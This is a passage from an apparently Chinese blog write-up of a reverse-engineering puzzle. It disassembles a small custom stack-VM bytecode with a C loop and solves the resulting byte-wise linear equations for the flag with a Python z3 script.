0x4,0x1,0x4,0x2,0x4,0x3,0x4,0x4,0x4,0x5,0x4,0x6,0x4,0x7,0x4,0x8,0x4,0x9,0x4,0xA,0x4,0xB,0x4,0xC,0x4,0xD,0x4,0xE,0x4,0xF,0x4,0x10,0x2,0x1,0x5,0xAA,0x2,0x2,0x5,0xED,0x2,0x3,0x5,0xEC,0x2,0x4,0x5,0x5D,0x2,0x5,0x5,0x8E,0x2,0x6,0x5,0x87,0x2,0x7,0x5,0x41,0x2,0x8,0x5,0xFF,0x2,0x9,0x5,0xA6,0x2,0xA,0x5,0xA6,0x2,0xB,0x5,0x10,0x2,0xC,0x5,0x5B,0x2,0xD,0x5,0xC6,0x2,0xE,0x5,0x1,0x2,0xF,0x5,0x7A,0x2,0x10,0x5,0xFD,0x1,0x26,0x1,0x39,0x1,0x56,0x1,0x6D,0x1,0x3C,0x1,0x72,0x1,0x52,0x1,0x64,0x1,0x4,0x1,0x37,0x1,0x30,0x1,0x53,0x1,0x43,0x1,0x45,0x1,0x33,0x1,0xB,0x3,0x71,0x3,0x5D,0x3,0x46,0x3,0x1F,0x3,0x35,0x3,0x55,0x3,0x3F,0x3,0x55,0x3,0x23,0x3,0x46,0x3,0x2B,0x3,0x74,0x3,0x5A,0x3,0x18,0x3,0x45,0x4,0x11,0x2,0x1,0x5,0x3D,0x2,0x2,0x5,0x71,0x2,0x3,0x5,0xAE,0x2,0x4,0x5,0x5A,0x2,0x5,0x5,0x4F,0x2,0x6,0x5,0xDC,0x2,0x7,0x5,0x30,0x2,0x8,0x5,0xEB,0x2,0x9,0x5,0x8D,0x2,0xA,0x5,0x97,0x2,0xB,0x5,0xFE,0x2,0xC,0x5,0x28,0x2,0xD,0x5,0x40,0x2,0xE,0x5,0x4C,0x2,0xF,0x5,0x83,0x2,0x10,0x5,0x7F,0x1,0x15,0x1,0x42,0x1,0x26,0x1,0x1F,0x1,0x25,0x1,0x1A,0x1,0x5C,0x1,0x8,0x1,0x7E,0x1,0x5E,0x1,0x62,0x1,0x67,0x1,0x25,0x1,0x1C,0x1,0x1,0x1,0x69,0x3,0x1E,0x3,0x63,0x3,0x14,0x3,0x8,0x3,0x1D,0x3,0xA,0x3,0x63,0x3,0x40,0x3,0x4F,0x3,0x45,0x3,0x12,0x3,0x48,0x3,0x53,0x3,0x4C,0x3,0x2E,0x4,0x12,0x2,0x1,0x5,0x73,0x2,0x2,0x5,0xCC,0x2,0x3,0x5,0xA8,0x2,0x4,0x5,0xE1,0x2,0x5,0x5,0xE9,0x2,0x6,0x5,0xF2,0x2,0x7,0x5,0x8D,0x2,0x8,0x5,0x66,0x2,0x9,0x5,0x50,0x2,0xA,0x5,0xAF,0x2,0xB,0x5,0x20,0x2,0xC,0x5,0x75,0x2,0xD,0x5,0x1E,0x2,0xE,0x5,0xF,0x2,0xF,0x5,0xD5,0x2,0x10,0x5,0x5B,0x1,0x53,0x1,0x6B,0x1,0x68,0x1,0x17,0x1,0x6D,0x1,0x3F,0x1,0x68,0x1,0x4D,0x1,0x3,0x1,0x50,0x1,0x22,0x1,0x2B,0x1,0x22,0x1,0x64,0x1,0x5D,0x1,0x36,0x3,0x3A,0x3,0x25,0x3,0x5A,0x3,0x51,0x3,0x50,0x3,0x7D,0x3,0x6D,0x3,0x3,0x3,0xB,0x3,0x42,0x3,0x3B,0x3,0x35,0x3,0x3E,0x3,0x40,0x3,0x37,0x4,0x13,0x2,0x1,0x5,0x3C,0x2,0x2,0x5,0x23,0x2,0x3,0x5,0x3D,0x2,0x4,0x5,0xFF,0x2,0x5,0x5,0x85,0x2,0x6,0x5,0xD4,0x2,0x7,0x5,0x4B,0x2,0x8,0x5,0x6E,0x2,0x9,0x5,0x51,0x2,0xA,0x5,0x23,0x2,0xB,0x5,0x9F,0x2,0xC,0x5,0x6F,0x2,0xD,0x5,0x92,0x2,0xE,0x5,0xED,0x2,0xF,0x5,0xD7,0x2,0x10,0x5,0x8E,0x1,0x25,0x1,0x15,0x1,0x61,0x1,0x19,0x1,0x2E,0x1,0x5D,0x1,0x58,0x1,0x24,0x1,0xD,0x1,0x61,0x1,0x8,0x1,0x42,0x1,0x7C,0x1,0x44,0x1,0x3B,0x1,0x36,0x3,0x78,0x3,0x33,0x3,0x7D,0x3,0x4,0x3,0x23,0x3,0x1A,0x3,0x1B,0x3,0x58,0x3,0x72,0x3,0x43,0x3,0x7C,0x3,0x3E,0x3,0x67,0x3,0x50,0x3,0x4F,0x4,0x14,0x2,0x1,0x5,0xB3,0x2,0x2,0x5,0x44,0x2,0x3,0x5,0xAA,0x2,0x4,0x5,0xD7,0x2,0x5,0x5,0xFF,0x2,0x6,0x5,0x30,0x2,0x7,0x5,0xFA,0x2,0x8,0x5,0x3A,0x2,0x9,0x5,0x4D,0x2,0xA,0x5,0x27,0x2,0xB,0x5,0x31,0x2,0xC,0x5,0x16,0x2,0xD,0x5,0x53,0x2,0xE,0x5,0x5D,0x2,0xF,0x5,0x49,0x2,0x10,0x5,0x60,0x1,0x43,0x1,0x29,0x1,0x77,0x1,0x16,0x1,0x20,0x1,0x25,0x1,0x58,0x1,0x6F,0x1,0x4E,0x1,0x3C,0x1,0x9,0x1,0x46,0x1,0x79,0x1,0x4B,0x1,0x1F,0x1,0x0,0x3,0x4B,0x3,0xE,0x3,0x69,0x3,0x64,0x3,0x6B,0x3,0x67,0x3,0x2,0x3,0x52,0x3,0x66,0x3,0x1E,0x3,0x35,0x3,0x2C,0x3,0x3,0x3,0x7,0x3,0x41,0x4,0x15,0x2,0x1,0x5,0x82,0x2,0x2,0x5,0x2F,0x2,0x3,0x5,0xC3,0x2,0x4,0x5,0x5D,0x2,0x5,0x5,0xC0,0x2,0x6,0x5,0xB2,0x2,0x7,0x5,0xC,0x2,0x8,0x5,0x2B,0x2,0x9,0x5,0x97,0x2,0xA,0x5,0x1D,0x2,0xB,0x5,0x1D,0x2,0xC,0x5,0x37,0x2,0xD,0x5,0x56,0x2,0xE,0x5,0x4C,0x2,0xF,0x5,0xA1,0x2,0x10,0x5,0x37,0x1,0x6,0x1,0x2A,0x1,0xA,0x1,0x16,0x1,0x5,0x1,0x4C,0x1,0x28,0x1,0x10,0x1,0x59,0x1,0x58,0x1,0x2E,0x1,0x3B,0x1,0x7D,0x1,0x5A,0x1,0x64,0x1,0x64,0x3,0x13,0x3,0x5E,0x3,0x2,0x3,0x43,0x3,0x36,0x3,0x5E,0x3,0x78,0x3,0x4D,0x3,0x1B,0x3,0x63,0x3,0x2C,0x3,0x37,0x3,0x6F,0x3,0x4B,0x3,0x40,0x4,0x16,0x2,0x1,0x5,0x80,0x2,0x2,0x5,0x6B,0x2,0x3,0x5,0x6B,0x2,0x4,0x5,0x70,0x2,0x5,0x5,0xD6,0x2,0x6,0x5,0x33,0x2,0x7,0x5,0x24,0x2,0x8,0x5,0x84,0x2,0x9,0x5,0xCF,0x2,0xA,0x5,0xD5,0x2,0xB,0x5,0x19,0x2,0xC,0x5,0xA6,0x2,0xD,0x5,0xFE,0x2,0xE,0x5,0xCE,0x2,0xF,0x5,0xF8,0x2,0x10,0x5,0x62,0x1,0x23,0x1,0x57,0x1,0x65,0x1,0x56,0x1,0x31,0x1,0x24,0x1,0x1F,0x1,0x65,0x1,0x5E,0x1,0x2B,0x1,0x51,0x1,0x62,0x1,0xE,0x1,0x34,0x1,0x3E,0x1,0x57,0x3,0x5,0x3,0x56,0x3,0x34,0x3,0x38,0x3,0x3B,0x3,0x31,0x3,0x5E,0x3,0x16,0x3,0x76,0x3,0x7C,0x3,0x25,0x3,0x1A,0x3,0x5F,0x3,0x14,0x3,0x5D,0x4,0x17,0x2,0x1,0x5,0x15,0x2,0x2,0x5,0x48,0x2,0x3,0x5,0x81,0x2,0x4,0x5,0xE4,0x2,0x5,0x5,0xC0,0x2,0x6,0x5,0xBE,0x2,0x7,0x5,0x6D,0x2,0x8,0x5,0xCB,0x2,0x9,0x5,0x13,0x2,0xA,0x5,0x23,0x2,0xB,0x5,0x38,0x2,0xC,0x5,0xCA,0x2,0xD,0x5,0xF9,0x2,0xE,0x5,0x5F,0x2,0xF,0x5,0xB0,0x2,0x10,0x5,0x9F,0x1,0x4F,0x1,0x20,0x1,0x2D,0x1,0x2,0x1,0x46,0x1,0x3D,0x1,0x1A,0x1,0x2A,0x1,0x66,0x1,0x39,0x1,0x61,0x1,0x77,0x1,0x3F,0x1,0x5E,0x1,0xE,0x1,0x70,0x3,0x55,0x3,0x20,0x3,0x40,0x3,0x7F,0x3,0x2F,0x3,0x24,0x3,0x14,0x3,0x60,0x3,0x5C,0x3,0x5C,0x3,0x17,0x3,0x12,0x3,0x8,0x3,0x2E,0x3,0x2D,0x4,0x18,0x2,0x1,0x5,0x27,0x2,0x2,0x5,0x42,0x2,0x3,0x5,0xDA,0x2,0x4,0x5,0x73,0x2,0x5,0x5,0xA8,0x2,0x6,0x5,0x19,0x2,0x7,0x5,0x20,0x2,0x8,0x5,0x89,0x2,0x9,0x5,0x49,0x2,0xA,0x5,0xB9,0x2,0xB,0x5,0x50,0x2,0xC,0x5,0xD5,0x2,0xD,0x5,0x45,0x2,0xE,0x5,0x44,0x2,0xF,0x5,0x3B,0x2,0x10,0x5,0x10,0x1,0x3D,0x1,0x74,0x1,0x59,0x1,0x65,0x1,0x6D,0x1,0x4D,0x1,0x40,0x1,0x23,0x1,0x5B,0x1,0x70,0x1,0x30,0x1,0x15,0x1,0x52,0x1,0xD,0x1,0x6E,0x1,0x44,0x3,0x67,0x3,0x7,0x3,0x45,0x3,0x3B,0x3,0xB,0x3,0x7F,0x3,0x4A,0x3,0x22,0x3,0xA,0x3,0x5E,0x3,0x39,0x3,0x24,0x3,0x54,0x3,0x4,0x3,0x23,0x4,0x19,0x2,0x1,0x5,0xC,0x2,0x2,0x5,0xC5,0x2,0x3,0x5,0xD6,0x2,0x4,0x5,0xF9,0x2,0x5,0x5,0xD7,0x2,0x6,0x5,0xA5,0x2,0x7,0x5,0xAB,0x2,0x8,0x5,0xB0,0x2,0x9,0x5,0x4F,0x2,0xA,0x5,0x41,0x2,0xB,0x5,0xFB,0x2,0xC,0x5,0x10,0x2,0xD,0x5,0x8E,0x2,0xE,0x5,0x70,0x2,0xF,0x5,0x6,0x2,0x10,0x5,0x11,0x1,0x1F,0x1,0x3C,0x1,0x45,0x1,0x4F,0x1,0x55,0x1,0x44,0x1,0x48,0x1,0x6D,0x1,0x13,0x1,0x30,0x1,0x43,0x1,0x6A,0x1,0x3B,0x1,0x1E,0x1,0x4D,0x1,0x4,0x3,0xF,0x3,0x34,0x3,0x1C,0x3,0x5B,0x3,0x70,0x3,0x49,0x3,0x15,0x3,0x71,0x3,0x57,0x3,0x5B,0x3,0x0,0x3,0x71,0x3,0x31,0x3,0x35,0x3,0x5C,0x4,0x1A,0x2,0x1,0x5,0xCD,0x2,0x2,0x5,0xFB,0x2,0x3,0x5,0xBD,0x2,0x4,0x5,0x46,0x2,0x5,0x5,0xFE,0x2,0x6,0x5,0x8C,0x2,0x7,0x5,0xB5,0x2,0x8,0x5,0xD5,0x2,0x9,0x5,0xFC,0x2,0xA,0x5,0x70,0x2,0xB,0x5,0x6A,0x2,0xC,0x5,0xF3,0x2,0xD,0x5,0x42,0x2,0xE,0x5,0xC1,0x2,0xF,0x5,0x93,0x2,0x10,0x5,0xB4,0x1,0x3F,0x1,0xA,0x1,0x6B,0x1,0x1A,0x1,0x5A,0x1,0x16,0x1,0x7B,0x1,0x62,0x1,0xA,0x1,0x2F,0x1,0x2B,0x1,0x5B,0x1,0x34,0x1,0x4E,0x1,0x2B,0x1,0x38,0x3,0x5B,0x3,0x5C,0x3,0x9,0x3,0x8,0x3,0x3C,0x3,0x62,0x3,0x1E,0x3,0x6A,0x3,0x1F,0x3,0x21,0x3,0x3A,0x3,0x36,0x3,0x12,0x3,0x5E,0x3,0xF,0x4,0x1B,0x2,0x1,0x5,0x95,0x2,0x2,0x5,0xCD,0x2,0x3,0x5,0x50,0x2,0x4,0x5,0xC0,0x2,0x5,0x5,0xAE,0x2,0x6,0x5,0x6E,0x2,0x7,0x5,0xA0,0x2,0x8,0x5,0x79,0x2,0x9,0x5,0x67,0x2,0xA,0x5,0x4E,0x2,0xB,0x5,0xAE,0x2,0xC,0x5,0x5A,0x2,0xD,0x5,0xCD,0x2,0xE,0x5,0x63,0x2,0xF,0x5,0x2,0x2,0x10,0x5,0xAE,0x1,0x3F,0x1,0x13,0x1,0x6,0x1,0x2C,0x1,0x4D,0x1,0x45,0x1,0x58,0x1,0x8,0x1,0x61,0x1,0x77,0x1,0x39,0x1,0x2C,0x1,0x60,0x1,0x32,0x1,0x38,0x1,0xB,0x3,0xE,0x3,0x16,0x3,0x7,0x3,0x28,0x3,0x3E,0x3,0x6,0x3,0x6B,0x3,0x50,0x3,0x1C,0x3,0x16,0x3,0x44,0x3,0x4B,0x3,0x2E,0x3,0x7F,0x3,0x47,0x4,0x1C,0x2,0x1,0x5,0x4F,0x2,0x2,0x5,0x90,0x2,0x3,0x5,0xA1,0x2,0x4,0x5,0xF3,0x2,0x5,0x5,0x8C,0x2,0x6,0x5,0x37,0x2,0x7,0x5,0x95,0x2,0x8,0x5,0x12,0x2,0x9,0x5,0x3C,0x2,0xA,0x5,0xC9,0x2,0xB,0x5,0x95,0x2,0xC,0x5,0xD8,0x2,0xD,0x5,0x2,0x2,0xE,0x5,0xE2,0x2,0xF,0x5,0x31,0x2,0x10,0x5,0x51,0x1,0x12,0x1,0x63,0x1,0x5F,0x1,0x4E,0x1,0x6E,0x1,0x3A,0x1,0x46,0x1,0x8,0x1,0x39,0x1,0x25,0x1,0x4E,0x1,0xD,0x1,0x5C,0x1,0x70,0x1,0x3,0x1,0x1,0x3,0x40,0x3,0x74,0x3,0x7D,0x3,0x38,0x3,0x1F,0x3,0x4B,0x3,0x5A,0x3,0x7E,0x3,0x3D,0x3,0x68,0x3,0x43,0x3,0x77,0x3,0x47,0x3,0x6C,0x3,0x4,0x4,0x1D,0x2,0x1,0x5,0x72,0x2,0x2,0x5,0xBC,0x2,0x3,0x5,0x8B,0x2,0x4,0x5,0x5,0x2,0x5,0x5,0x3C,0x2,0x6,0x5,0xEE,0x2,0x7,0x5,0x7,0x2,0x8,0x5,0x72,0x2,0x9,0x5,0xCA,0x2,0xA,0x5,0x2C,0x2,0xB,0x5,0x4B,0x2,0xC,0x5,0x76,0x2,0xD,0x5,0x82,0x2,0xE,0x5,0x64,0x2,0xF,0x5,0x8,0x2,0x10,0x5,0x5B,0x1,0x57,0x1,0x22,0x1,0x6A,0x1,0x79,0x1,0x34,0x1,0x2A,0x1,0x54,0x1,0x21,0x1,0x17,0x1,0x63,0x1,0x3,0x1,0x73,0x1,0x16,0x1,0x49,0x1,0xE,0x1,0x70,0x3,0x6A,0x3,0x71,0x3,0x2A,0x3,0x6A,0x3,0x72,0x3,0xA,0x3,0x5B,0x3,0x15,0x3,0x27,0x3,0x18,0x3,0x1E,0x3,0x17,0x3,0x66,0x3,0x22,0x3,0x74,0x4,0x1E,0x2,0x1,0x5,0x12,0x2,0x2,0x5,0x5B,0x2,0x3,0x5,0x99,0x2,0x4,0x5,0xBE,0x2,0x5,0x5,0x2C,0x2,0x6,0x5,0xDF,0x2,0x7,0x5,0x92,0x2,0x8,0x5,0xC1,0x2,0x9,0x5,0xFA,0x2,0xA,0x5,0x18,0x2,0xB,0x5,0x19,0x2,0xC,0x5,0x33,0x2,0xD,0x5,0x9E,0x2,0xE,0x5,0x66,0x2,0xF,0x5,0x7A,0x2,0x10,0x5,0xA4,0x1,0x10,0x1,0xF,0x1,0x6D,0x1,0x39,0x1,0x47,0x1,0x13,0x1,0x5,0x1,0x7D,0x1,0x1A,0x1,0x46,0x1,0x44,0x1,0x68,0x1,0x3B,0x1,0x2,0x1,0x17,0x1,0x56,0x3,0x41,0x3,0x62,0x3,0x5D,0x3,0x4,0x3,0x71,0x3,0x48,0x3,0x24,0x3,0x52,0x3,0x35,0x3,0x3F,0x3,0x76,0x3,0xE,0x3,0x52,0x3,0x42,0x3,0x1F,0x4,0x1F,0x2,0x1,0x5,0xD3,0x2,0x2,0x5,0xCD,0x2,0x3,0x5,0x22,0x2,0x4,0x5,0x34,0x2,0x5,0x5,0xE3,0x2,0x6,0x5,0x51,0x2,0x7,0x5,0x4C,0x2,0x8,0x5,0x46,0x2,0x9,0x5,0x93,0x2,0xA,0x5,0xCB,0x2,0xB,0x5,0x42,0x2,0xC,0x5,0xB0,0x2,0xD,0x5,0xBE,0x2,0xE,0x5,0xC7,0x2,0xF,0x5,0x22,0x2,0x10,0x5,0x30,0x1,0x67,0x1,0x45,0x1,0x61,0x1,0x68,0x1,0x64,0x1,0x43,0x1,0x6C,0x1,0x60,0x1,0x6D,0x1,0x57,0x1,0x3,0x1,0x58,0x1,0x12,0x1,0x25,0x1,0x2B,0x1,0x6E,0x3,0x2B,0x3,0x55,0x3,0x5A,0x3,0x36,0x3,0x54,0x3,0x7A,0x3,0x34,0x3,0x22,0x3,0x18,0x3,0x43,0x3,0x4B,0x3,0x63,0x3,0x13,0x3,0x5F,0x3,0x2D,0x4,0x20,0x2,0x11,0x2,0x12,0x2,0x13,0x2,0x14,0x2,0x15,0x2,0x16,0x2,0x17,0x2,0x18,0x2,0x19,0x2,0x1A,0x2,0x1B,0x2,0x1C,0x2,0x1D,0x2,0x1E,0x2,0x1F,0x2,0x20,0x0 };</pre><pre>    int n = 0;<br>    while(s1[n]!=0){<br>        switch (s1[n]) {<br>        case 1:<br>            printf(&quot;pop a\tpop b\tpush a*b\n&quot;);<br>            break;<br>        case 2:<br>            printf(&quot;push s2[%d]\n&quot;, s1[n + 1]);<br>            break;<br>        case 3:<br>            printf(&quot;pop a\tpop b\tpush a+b\n&quot;);<br>            break;<br>        case 4:<br>            printf(&quot;pop c\ts2[%d]=c\n&quot;, s1[n + 1]);<br>            break;<br>        case 5:<br>            printf(&quot;push %Xh\n&quot;, s1[n + 1]);<br>        }<br>        n += 2;<br>    }</pre><pre>    /*printf(&quot;\n\n\n&quot;);</pre><pre>    n = 0;<br>    while (s1[n] != 0) {<br>        switch (s1[n]) {<br>        case 2:<br>            printf(&quot;a[%d]*&quot;, s1[n + 1] - 1);<br>            break;<br>        case 5:<br>            printf(&quot;%d+&quot;, s1[n + 1]);<br>            break;<br>        default:<br>            break;<br>        }<br>        n += 2;<br>        <br>    }*/<br>    <br>    return 0;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/0*vExOJ31WUftJZ9Ei" /></figure><p>可以发现就一个乘法之后再累加起来。换种输出再用正则快速处理，用z3爆。脚本</p><pre>import z3</pre><pre>length=64</pre><pre>a=[z3.BitVec(&#39;a{}&#39;.format(i),8) for i in range(length)]</pre><pre>x=z3.Solver()<br>    <br>for i in range(length):<br>    x.add(a[i]&gt;=32)<br>    x.add(a[i]&lt;127)</pre><pre>s1=[0x2E, 0x32, 0x16, 0x21, 0x8D, 0x82, 0x3D, 0x5F, 0x22, 0xF5, 0xBE, 0x99, 0x5F, 0x29, 0x0A, 0x3A,0x14, 0x97, 0x90, 0xFD, 0x39, 0x20, 0x30, 0x13, 0x54, 0x83, 0x29, 0x68, 0xC9, 0x88, 0x00, 0x5C,0x5B, 0x63, 0x57, 0x2B, 0xEE, 0x6A, 0xC7, 0x34, 0x26, 0x0F, 0x1A, 0xCC, 0xA0, 0x30, 0xE4, 0xE9,0x69, 0x84, 0x94, 0xA4, 0x53, 0x0F, 0x39, 0x8A, 0xB4, 0x73, 0x37, 0xBC, 0x43, 0xD8, 0x72, 0x4C]</pre><pre>x.add((a[0]*170+a[1]*237+a[2]*236+a[3]*93+a[4]*142+a[5]*135+a[6]*65+a[7]*255+a[8]*166+a[9]*166+a[10]*16+a[11]*91+a[12]*198+a[13]*1+a[14]*122+a[15]*253)&amp;0xff==s1[0])<br>x.add((a[0]*61+a[1]*113+a[2]*174+a[3]*90+a[4]*79+a[5]*220+a[6]*48+a[7]*235+a[8]*141+a[9]*151+a[10]*254+a[11]*40+a[12]*64+a[13]*76+a[14]*131+a[15]*127)&amp;0xff==s1[1])<br>x.add((a[0]*115+a[1]*204+a[2]*168+a[3]*225+a[4]*233+a[5]*242+a[6]*141+a[7]*102+a[8]*80+a[9]*175+a[10]*32+a[11]*117+a[12]*30+a[13]*15+a[14]*213+a[15]*91)&amp;0xff==s1[2])<br>x.add((a[0]*60+a[1]*35+a[2]*61+a[3]*255+a[4]*133+a[5]*212+a[6]*75+a[7]*110+a[8]*81+a[9]*35+a[10]*159+a[11]*111+a[12]*146+a[13]*237+a[14]*215+a[15]*142)&amp;0xff==s1[3])<br>x.add((a[0]*179+a[1]*68+a[2]*170+a[3]*215+a[4]*255+a[5]*48+a[6]*250+a[7]*58+a[8]*77+a[9]*39+a[10]*49+a[11]*22+a[12]*83+a[13]*93+a[14]*73+a[15]*96)&amp;0xff==s1[4])<br>x.add((a[0]*130+a[1]*47+a[2]*195+a[3]*93+a[4]*192+a[5]*178+a[6]*12+a[7]*43+a[8]*151+a[9]*29+a[10]*29+a[11]*55+a[12]*86+a[13]*76+a[14]*161+a[15]*55)&amp;0xff==s1[5])<br>x.add((a[0]*128+a[1]*107+a[2]*107+a[3]*112+a[4]*214+a[5]*51+a[6]*36+a[7]*132+a[8]*207+a[9]*213+a[10]*25+a[11]*166+a[12]*254+a[13]*206+a[14]*248+a[15]*98)&amp;0xff==s1[6])<br>x.add((a[0]*21+a[1]*72+a[2]*129+a[3]*228+a[4]*192+a[5]*190+a[6]*109+a[7]*203+a[8]*19+a[9]*35+a[10]*56+a[11]*202+a[12]*249+a[13]*95+a[14]*176+a[15]*159)&amp;0xff==s1[7])<br>x.add((a[0]*39+a[1]*66+a[2]*218+a[3]*115+a[4]*168+a[5]*25+a[6]*32+a[7]*137+a[8]*73+a[9]*185+a[10]*80+a[11]*213+a[12]*69+a[13]*68+a[14]*59+a[15]*16)&amp;0xff==s1[8])<br>x.add((a[0]*12+a[1]*197+a[2]*214+a[3]*249+a[4]*215+a[5]*165+a[6]*171+a[7]*176+a[8]*79+a[9]*65+a[10]*251+a[11]*16+a[12]*142+a[13]*112+a[14]*6+a[15]*17)&amp;0xff==s1[9])<br>x.add((a[0]*205+a[1]*251+a[2]*189+a[3]*70+a[4]*254+a[5]*140+a[6]*181+a[7]*213+a[8]*252+a[9]*112+a[10]*106+a[11]*243+a[12]*66+a[13]*193+a[14]*147+a[15]*180)&amp;0xff==s1[10])<br>x.add((a[0]*149+a[1]*205+a[2]*80+a[3]*192+a[4]*174+a[5]*110+a[6]*160+a[7]*121+a[8]*103+a[9]*78+a[10]*174+a[11]*90+a[12]*205+a[13]*99+a[14]*2+a[15]*174)&amp;0xff==s1[11])<br>x.add((a[0]*79+a[1]*144+a[2]*161+a[3]*243+a[4]*140+a[5]*55+a[6]*149+a[7]*18+a[8]*60+a[9]*201+a[10]*149+a[11]*216+a[12]*2+a[13]*226+a[14]*49+a[15]*81)&amp;0xff==s1[12])<br>x.add((a[0]*114+a[1]*188+a[2]*139+a[3]*5+a[4]*60+a[5]*238+a[6]*7+a[7]*114+a[8]*202+a[9]*44+a[10]*75+a[11]*118+a[12]*130+a[13]*100+a[14]*8+a[15]*91)&amp;0xff==s1[13])<br>x.add((a[0]*18+a[1]*91+a[2]*153+a[3]*190+a[4]*44+a[5]*223+a[6]*146+a[7]*193+a[8]*250+a[9]*24+a[10]*25+a[11]*51+a[12]*158+a[13]*102+a[14]*122+a[15]*164)&amp;0xff==s1[14])<br>x.add((a[0]*211+a[1]*205+a[2]*34+a[3]*52+a[4]*227+a[5]*81+a[6]*76+a[7]*70+a[8]*147+a[9]*203+a[10]*66+a[11]*176+a[12]*190+a[13]*199+a[14]*34+a[15]*48)&amp;0xff==s1[15])</pre><pre>x.add((a[0+16]*170+a[1+16]*237+a[2+16]*236+a[3+16]*93+a[4+16]*142+a[5+16]*135+a[6+16]*65+a[7+16]*255+a[8+16]*166+a[9+16]*166+a[10+16]*16+a[11+16]*91+a[12+16]*198+a[13+16]*1+a[14+16]*122+a[15+16]*253)&amp;0xff==s1[0+16])<br>x.add((a[0+16]*61+a[1+16]*113+a[2+16]*174+a[3+16]*90+a[4+16]*79+a[5+16]*220+a[6+16]*48+a[7+16]*235+a[8+16]*141+a[9+16]*151+a[10+16]*254+a[11+16]*40+a[12+16]*64+a[13+16]*76+a[14+16]*131+a[15+16]*127)&amp;0xff==s1[1+16])<br>x.add((a[0+16]*115+a[1+16]*204+a[2+16]*168+a[3+16]*225+a[4+16]*233+a[5+16]*242+a[6+16]*141+a[7+16]*102+a[8+16]*80+a[9+16]*175+a[10+16]*32+a[11+16]*117+a[12+16]*30+a[13+16]*15+a[14+16]*213+a[15+16]*91)&amp;0xff==s1[2+16])<br>x.add((a[0+16]*60+a[1+16]*35+a[2+16]*61+a[3+16]*255+a[4+16]*133+a[5+16]*212+a[6+16]*75+a[7+16]*110+a[8+16]*81+a[9+16]*35+a[10+16]*159+a[11+16]*111+a[12+16]*146+a[13+16]*237+a[14+16]*215+a[15+16]*142)&amp;0xff==s1[3+16])<br>x.add((a[0+16]*179+a[1+16]*68+a[2+16]*170+a[3+16]*215+a[4+16]*255+a[5+16]*48+a[6+16]*250+a[7+16]*58+a[8+16]*77+a[9+16]*39+a[10+16]*49+a[11+16]*22+a[12+16]*83+a[13+16]*93+a[14+16]*73+a[15+16]*96)&amp;0xff==s1[4+16])<br>x.add((a[0+16]*130+a[1+16]*47+a[2+16]*195+a[3+16]*93+a[4+16]*192+a[5+16]*178+a[6+16]*12+a[7+16]*43+a[8+16]*151+a[9+16]*29+a[10+16]*29+a[11+16]*55+a[12+16]*86+a[13+16]*76+a[14+16]*161+a[15+16]*55)&amp;0xff==s1[5+16])<br>x.add((a[0+16]*128+a[1+16]*107+a[2+16]*107+a[3+16]*112+a[4+16]*214+a[5+16]*51+a[6+16]*36+a[7+16]*132+a[8+16]*207+a[9+16]*213+a[10+16]*25+a[11+16]*166+a[12+16]*254+a[13+16]*206+a[14+16]*248+a[15+16]*98)&amp;0xff==s1[6+16])<br>x.add((a[0+16]*21+a[1+16]*72+a[2+16]*129+a[3+16]*228+a[4+16]*192+a[5+16]*190+a[6+16]*109+a[7+16]*203+a[8+16]*19+a[9+16]*35+a[10+16]*56+a[11+16]*202+a[12+16]*249+a[13+16]*95+a[14+16]*176+a[15+16]*159)&amp;0xff==s1[7+16])<br>x.add((a[0+16]*39+a[1+16]*66+a[2+16]*218+a[3+16]*115+a[4+16]*168+a[5+16]*25+a[6+16]*32+a[7+16]*137+a[8+16]*73+a[9+16]*185+a[10+16]*80+a[11+16]*213+a[12+16]*69+a[13+16]*68+a[14+16]*59+a[15+16]*16)&amp;0xff==s1[8+16])<br>x.add((a[0+16]*12+a[1+16]*197+a[2+16]*214+a[3+16]*249+a[4+16]*215+a[5+16]*165+a[6+16]*171+a[7+16]*176+a[8+16]*79+a[9+16]*65+a[10+16]*251+a[11+16]*16+a[12+16]*142+a[13+16]*112+a[14+16]*6+a[15+16]*17)&amp;0xff==s1[9+16])<br>x.add((a[0+16]*205+a[1+16]*251+a[2+16]*189+a[3+16]*70+a[4+16]*254+a[5+16]*140+a[6+16]*181+a[7+16]*213+a[8+16]*252+a[9+16]*112+a[10+16]*106+a[11+16]*243+a[12+16]*66+a[13+16]*193+a[14+16]*147+a[15+16]*180)&amp;0xff==s1[10+16])<br>x.add((a[0+16]*149+a[1+16]*205+a[2+16]*80+a[3+16]*192+a[4+16]*174+a[5+16]*110+a[6+16]*160+a[7+16]*121+a[8+16]*103+a[9+16]*78+a[10+16]*174+a[11+16]*90+a[12+16]*205+a[13+16]*99+a[14+16]*2+a[15+16]*174)&amp;0xff==s1[11+16])<br>x.add((a[0+16]*79+a[1+16]*144+a[2+16]*161+a[3+16]*243+a[4+16]*140+a[5+16]*55+a[6+16]*149+a[7+16]*18+a[8+16]*60+a[9+16]*201+a[10+16]*149+a[11+16]*216+a[12+16]*2+a[13+16]*226+a[14+16]*49+a[15+16]*81)&amp;0xff==s1[12+16])<br>x.add((a[0+16]*114+a[1+16]*188+a[2+16]*139+a[3+16]*5+a[4+16]*60+a[5+16]*238+a[6+16]*7+a[7+16]*114+a[8+16]*202+a[9+16]*44+a[10+16]*75+a[11+16]*118+a[12+16]*130+a[13+16]*100+a[14+16]*8+a[15+16]*91)&amp;0xff==s1[13+16])<br>x.add((a[0+16]*18+a[1+16]*91+a[2+16]*153+a[3+16]*190+a[4+16]*44+a[5+16]*223+a[6+16]*146+a[7+16]*193+a[8+16]*250+a[9+16]*24+a[10+16]*25+a[11+16]*51+a[12+16]*158+a[13+16]*102+a[14+16]*122+a[15+16]*164)&amp;0xff==s1[14+16])<br>x.add((a[0+16]*211+a[1+16]*205+a[2+16]*34+a[3+16]*52+a[4+16]*227+a[5+16]*81+a[6+16]*76+a[7+16]*70+a[8+16]*147+a[9+16]*203+a[10+16]*66+a[11+16]*176+a[12+16]*190+a[13+16]*199+a[14+16]*34+a[15+16]*48)&amp;0xff==s1[15+16])</pre><pre>x.add((a[0+32]*170+a[1+32]*237+a[2+32]*236+a[3+32]*93+a[4+32]*142+a[5+32]*135+a[6+32]*65+a[7+32]*255+a[8+32]*166+a[9+32]*166+a[10+32]*16+a[11+32]*91+a[12+32]*198+a[13+32]*1+a[14+32]*122+a[15+32]*253)&amp;0xff==s1[0+32])<br>x.add((a[0+32]*61+a[1+32]*113+a[2+32]*174+a[3+32]*90+a[4+32]*79+a[5+32]*220+a[6+32]*48+a[7+32]*235+a[8+32]*141+a[9+32]*151+a[10+32]*254+a[11+32]*40+a[12+32]*64+a[13+32]*76+a[14+32]*131+a[15+32]*127)&amp;0xff==s1[1+32])<br>